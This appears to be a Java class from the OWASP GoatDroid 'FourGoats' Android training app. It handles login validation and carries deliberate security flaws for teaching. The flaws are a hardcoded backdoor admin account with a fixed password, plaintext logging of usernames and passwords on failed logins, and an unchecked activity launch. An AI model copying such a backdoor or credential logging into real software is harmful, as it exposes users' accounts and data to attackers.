ValidateCredsAsyncTask

ValidateCredsAsyncTask.java

	private class ValidateCredsAsyncTask extends
			AsyncTask<Void, Void, HashMap<String, String>> {

		Login mActivity;

		public ValidateCredsAsyncTask(Login activity) {
			mActivity = activity;
		}

		@Override
		protected HashMap<String, String> doInBackground(Void... params) {
			LoginRequest client = new LoginRequest(context);
			String userName = userNameEditText.getText().toString();
			String password = passwordEditText.getText().toString();
			boolean rememberMe = rememberMeCheckBox.isChecked();
			HashMap<String, String> userInfo = new HashMap<String, String>();
			if (allFieldsCompleted(userName, password)) {
				UserInfoDBHelper dbHelper = new UserInfoDBHelper(context);
				try {
					userInfo = client.validateCredentials(userName, password);
					if (userInfo.get("success").equals("false"))
						userInfo.put("errors", Constants.LOGIN_FAILED);
					else {
						dbHelper.deleteInfo();
						dbHelper.insertSettings(userInfo);
						if (rememberMe)
							saveCredentials(userName, password);
						// our secret backdoor account
						if (userName.equals("customerservice")
								&& password.equals("Acc0uNTM@n@g3mEnT"))
							userInfo.put("isAdmin", "true");
					}
				} catch (Exception e) {
					userInfo.put("errors", Constants.COULD_NOT_CONNECT);
					userInfo.put("success", "false");
					Log.w("Failed login", "Login with "
							+ userNameEditText.getText().toString() + " "
							+ passwordEditText.getText().toString() + " failed");
				} finally {
					dbHelper.close();
				}
			} else {
				userInfo.put("error", Constants.ALL_FIELDS_REQUIRED);
				userInfo.put("success", "false");
			}

			return userInfo;
		}

		protected void onPostExecute(HashMap<String, String> results) {
			if (results.get("success").equals("true")) {
				if (!previousActivity.isEmpty()) {
					ComponentName toLaunch = new ComponentName(
							"org.owasp.goatdroid.fourgoats", previousActivity);
					Intent intent = new Intent();
					intent.addCategory(Intent.CATEGORY_LAUNCHER);
					intent.setComponent(toLaunch);
					intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
					startActivity(intent);
				} else if (results.get("isAdmin").equals("true")) {
					Intent intent = new Intent(mActivity, AdminHome.class);
					startActivity(intent);
				} else {
					Intent intent = new Intent(mActivity, Home.class);
					startActivity(intent);
				}
			} else {
				Utils.makeToast(context, results.get("errors"),
						Toast.LENGTH_LONG);
			}
		}
	}